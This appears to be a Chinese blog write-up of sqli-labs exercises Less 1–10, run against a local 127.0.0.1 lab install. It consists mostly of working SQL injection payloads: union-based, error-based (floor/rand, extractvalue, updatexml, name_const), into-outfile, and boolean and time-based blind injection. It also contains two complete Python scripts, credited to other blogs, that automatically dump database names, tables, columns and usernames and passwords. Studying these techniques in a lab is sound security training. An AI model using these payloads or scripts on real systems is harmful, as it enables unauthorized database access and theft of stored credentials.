sqli-labs训练(less1-10)
由于才开始真正的接触sql系统的训练 ,所以写详细一些
sqli-lab训练(less1-10)
less1(GET- Error based- Single quotes - String)
基于错误的GET单引号字符型注入- http://127.0.0.1/sqli-labs-master/Less-1/?id=1
http://127.0.0.1/sqli-labs-master/Less-1/?id=2
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1/2
都是正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
结果就报错,分析一下:' ' 1' ' LIMIT 0,1 '
最外面的两个单引号是标识错误,1'是输入的,那么1两边的单引号那么应该就是sql语句
那么实际在后台的语句应该是select username,password from table where id='input'
接下来猜字段:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 4%23'
-union查询:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union select 1,2,3%23
这里都是正常的???
看下源码,其中发现mysql_fetch_array
只被调用了一次,而mysql_fetch_array
从结果集中取得一行作为关联数字或者数字数组或两个一起,所以这里无论怎么搞都只会出来第一行的查询结果,那么只要让第一行查询结果为空就行
http://127.0.0.1/sqli-labs-master/Less-1/?id=0‘ union select 1,2,3%23'
,可以看到第二列和第三列的结果显示在页面上了,不过我这里和教程上面有些不同,并没有提示your sql.........
,不知道为什么。
接下里就是爆数据库:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,database(),3%23
--得到security
在CSDN上看到还有一种方法爆出了所有的数据库
`http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(SCHEMA_NAME),3
from information_schema.SCHEMATA%23`,不过目前好像只适合less1.。。。。。
爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23
爆字段名
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23
如果这里要精确得查找表的字段名,那么就要加上限定条件TABLE_NAME='user'/TABLE_SCHEMA='Security'
爆字段内容
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from users %23
less2(GET-Error based -Intiger based)
基于错误的GET整型注入
同样用and 1=1
和and 1=2
进行测试,结果and 1=2
报错了,其实就是跟Less1是一样的,只不过不用闭合单引号。
payload:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from users limit 0,1 %23
less3(GET - Error based - Single quotes with twist string)
基于错误的GET单引号变形字符型注入
还是一样加个单引号先测一下?id=1'
报错,分析一下报错语句' ' 1' ') LIMIT 0,1 ' at line 1
多了一个),就想到应该是有一个(在起作用,那就需要把(闭合应该就行了?id=1') and ('1' = '1
/?id=1') and 1=1 --+
,闭合或者注释之后看到就正常了。
看一下源码就是这样的$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
payload
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1%27) union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 6,1 --+
less4(GET – Error based – Double Quotes – String)
基于GET双引号字符型注入
PHP中双引号可以包含单引号,所以先直接?id=1'
,没有报错,1=1和1=2都没有报错,?id=1"
报错:'"1"") LIMIT 0,1'
,发现居然还有个括号,我构造了一下?id=1") and 1=1 --+
正常,但是1=2就报错
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
就爆出了第一个表emails
要爆出其他表就加个limit *,1
即可
payload
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username,password),3 from users --+
less5(GET – Double Injection – Single Quotes – String)
双注入GET单引号字符型注入
基于错误的sql语句构造
几个比较重要的函数
- count():统计元组的个数
- rand():产生一个0-1的随机数
- floor():向下取整
- group by:根据规则对结果进行分组
count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来
payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
Or
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and(select 1 from(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) --+
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database(),limit0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) --+
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2)) name from information_schema.tables group by name)b) --+
还有好多种方法
使用extractvalue:
extractvalue(xml_frag,xpath_expr)
extractvalue()接受两个字符串参数,一个xml标记xml_frag的片段和一个xpath表达式xpath_expr(也称为定位符)
payload:
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and 1=extractvalue(1,concat(0x5e24,(select user()))) --+
使用updatexml:updatexml(xml_target,xpath_expr,new_xml)
此函数用新的xml片段new_xml替换xml标记xml_target的给定片段的单个部分,然后返回更改的xml。被替换的xml_target的部分与用户提供的xpath表达式xpath_expr匹配
payload:
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and 1=updatexml(1,concat(0x5e24,(select database())),1) --+
-name_const:name_const(name,value)
用于生成结果时,name_const()会使列具有给定的名称
payload:
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1' and 1=(select * from (select name_const(version(),1),name_const(version(),1))b) --+
less6(GET – Double Injection – Double Quotes – String)
跟less5差不多,只是把单引号换成双引号就行
less7(GET – Dump into outfile – String)
导出文件GET字符型注入
先说几个函数
outfile函数:
select...into outfile
语句可以将表的内容导出为一个文本文件 select * from users into outfile '路径';
dumpfile:
与outfile相似,只不过一次只导出一行select * from users limit 0,1 into outfile '路径';
load_file:
将数据导入mysql然后回到题目,先测试,测来测去,发现有?id=1'
、?id=1')
都是报错,但是?id=1'))
是正常的
猜字段嘛
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+
查询嘛
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 --+
权限测试
and (select count(*) from mysql.user)>0 --+
payload
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile '路径、1.txt' --+‘
less8(GET – Blind – Boolian Based – Single Quotes)
基于布尔盲注
关键函数
- length():返回字符串长度
select length(database())
- substr():截取字符串
select substr(database(),1,1)
- ascii():返回字符的ascii码
select ascii(substr(database(),2,1))
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
报错
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=1--+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))>115 --+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))<117 --+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+
不过这样一个一个试也太慢了吧,不如来一个python脚本跑一蛤,这么厉害的脚本肯定不是来自目前的我,来自CSDN上一篇博客,并且这个脚本只有在2.7版本才能跑,在3.6就跑不了。
# -*-coding:utf-8-*-
import urllib
import urllib2
getTable = "users"
success_str = "You are in"
index = "0"
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"
#发送请求,根据页面的返回的判断长度的猜测结果
#string:猜测的字符串;payload:使用的payload;length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False
#发送请求,根据页面的返回的判断字符的猜测结果
#payload:使用的payload;string:猜测的字符串;pos:猜测字符串的位置;ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False
#注入
def inject():
#猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname:" + str(lengthOfDBName)
#猜数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)
print "current database:" + DBname
#猜数据库中的表的个数
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of talbe:" + str(tableCount)
for i in xrange(0, tableCount):
num = str(i)
#猜当前表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
#猜当前表的名字
selectTableName = selectTable % (DBname, i)
tableName = getName(asciiPayload, selectTableName, tableNameLength)
print tableName
selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s')>=%d #"
#猜指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)
#猜该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)
data = []
#获取指定表中的列
for i in xrange(0, columnCount):
#猜列名长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit " + str(
i) + ",1)>=%d #"
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
#猜列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit %d,1"
selectColumnName = selectColumn % (getTable, i)
columnName = getName(asciiPayload, selectColumnName, columnNameLength)
print columnName
tmpData = []
tmpData.append(columnName)
#获取该表的数据
for j in xrange(0, dataCount):
columnDataLengthPayload = "'and (select length(" + columnName + ") from %s limit " + str(j) + ",1)>=%d #"
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
tmpData.append(columnData)
data.append(tmpData)
#格式化输出数据
tmp = ""
for i in xrange(0, len(data)):
tmp += data[i][0] + " "
print tmp
for j in xrange(1, dataCount + 1):
tmp = ""
for i in xrange(0, len(data)):
tmp += data[i][j] + " "
print tmp
#猜长度
def getLengthOfString(payload, string):
lengthLeft = 0
lengthRigth = 0
guess = 10
#确定长度上限,每次增加5
while 1:
if getLengthResult(payload, string, guess) == True:
guess = guess + 5
else:
lengthRigth = guess
break;
#二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
if getLengthResult(payload, string, mid) == True:
lengthLeft = mid
else:
lengthRigth = mid
mid = (lengthLeft + lengthRigth) / 2
return lengthLeft
#猜名字
def getName(payload, string, lengthOfString):
#空格(32)是第一个可显示的字符delete(127)是最后一个可显示的字符
tmp = ''
for i in xrange(1, lengthOfString + 1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
if getResult(payload, string, i, mid) == True:
left = mid
mid = (left + right) / 2
else:
right = mid
mid = (left + right) / 2
tmp += chr(left)
return tmp
def main():
inject()
main()
less9(GET – Blind – Time based – Single Quotes)
基于时间-单引号-盲注
测试发现有没有单引号都是返回的you are in......
,不管输入啥都是一样的
管他的,脚本跑.......,脚本代码来自freebuf上一篇文章
#-*-coding:utf-8-*-
import time
import urllib
import urllib2
index = "0"
getTable = "users"
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
database = "database()"
selectDB = "(select database())"
selectTable = "(select table_name from information_schema.tables where table_schema='%s' limit %d,1)"
asciiPayload = "' and if(ascii(substr(%s,%d,1))>=%d,0,sleep(0.1)) #"
lengthPayload = "' and if(length(%s)>=%d,0,sleep(0.1)) #"
selectTableCountPayload = "' and if((select count(table_name) from information_schema.tables where table_schema='%s')>=%d,0,sleep(0.1)) #"
selectTableNameLengthPayloadfront = "'and if((select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d,0,sleep(0.1)) #"
#发送请求,根据页面的返回时间的判断长度的猜测结果
#string:猜测的字符串;payload:使用的payload;length:猜测的长度
def getLengthResult(payload, string, length):
print payload % (string, length)
finalUrl = url + urllib.quote(payload % (string, length))
s1=time.time()
res = urllib2.urlopen(finalUrl)
s2=time.time()
if s2-s1 < 0.08:
return True
else:
return False
#发送请求,根据页面的返回时间的判断字符的猜测结果
#payload:使用的payload;string:猜测的字符串;pos:猜测字符串的位置;ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
s1 = time.time()
res = urllib2.urlopen(finalUrl)
s2 = time.time()
if s2 - s1 < 0.08:
return True
else:
return False
#注入
def inject():
#猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname: " + str(lengthOfDBName)
#猜数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)
print "current database:" + DBname
#猜数据库中的表的个数
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of table:" + str(tableCount)
for i in xrange(0, tableCount):
num = str(i)
#猜当前表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
#猜当前表的名字
selectTableName = selectTable % (DBname, i)
tableName = getName(asciiPayload, selectTableName, tableNameLength)
print tableName
#猜指定表的列的数量
selectColumnCountPayload ="' and if((select count(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s')>=%d,0,sleep(0.1)) #"
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)
#猜该表有多少行数据
dataCountPayload = "' and if((select count(*) from %s)>=%d,0,sleep(0.1)) #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)
data = []
#获取指定表中的列
for i in xrange(0, columnCount):
#猜该列名字长度
selectColumnNameLengthPayload = "' and if((select length(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit " + str(i) + ",1)>=%d,0,sleep(0.1)) #"
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
#猜该列的名字
selectColumn = "(select column_name from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit %d,1)"
selectColumnName = selectColumn % (getTable, i)
columnName = getName(asciiPayload, selectColumnName, columnNameLength)
print columnName
tmpData = []
tmpData.append(columnName)
#获取该表的数据
for j in xrange(0, dataCount):
columnDataLengthPayload = "' and if((select length(" + columnName + ") from %s limit " + str(j) + ",1)>=%d,0,sleep(0.1)) #"
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
selectData = "(select " + columnName + " from users limit " + str(j) + ",1)"
columnData = getName(asciiPayload, selectData, columnDataLength)
tmpData.append(columnData)
data.append(tmpData)
#格式化输出数据
tmp = ""
for i in xrange(0, len(data)):
tmp += data[i][0] + " "
print tmp
for j in xrange(1, dataCount + 1):
tmp = ""
for i in xrange(0, len(data)):
tmp += data[i][j] + " "
print tmp
#猜长度
def getLengthOfString(payload, string):
lengthLeft = 0
lengthRigth = 0
guess = 10
#确定长度上限,每次增加5
while 1:
if getLengthResult(payload, string, guess) == True:
guess = guess + 5
else:
lengthRigth = guess
break;
#二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
if getLengthResult(payload, string, mid) == True:
lengthLeft = mid
else:
lengthRigth = mid
mid = (lengthLeft + lengthRigth) / 2
return lengthLeft
#猜名字
def getName(payload, string, lengthOfString):
#空格(32)是第一个可显示的字符delete(127)是最后一个可显示的字符
tmp = ''
for i in xrange(1, lengthOfString + 1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
if getResult(payload, string, i, mid) == True:
left = mid
mid = (left + right) / 2
else:
right = mid
mid = (left + right) / 2
tmp += chr(left)
return tmp
def main():
inject()
main()
less10(GET – Blind – Time based – double quotes)
同样可以用上面的脚本,把里面的单引号改为双引号就行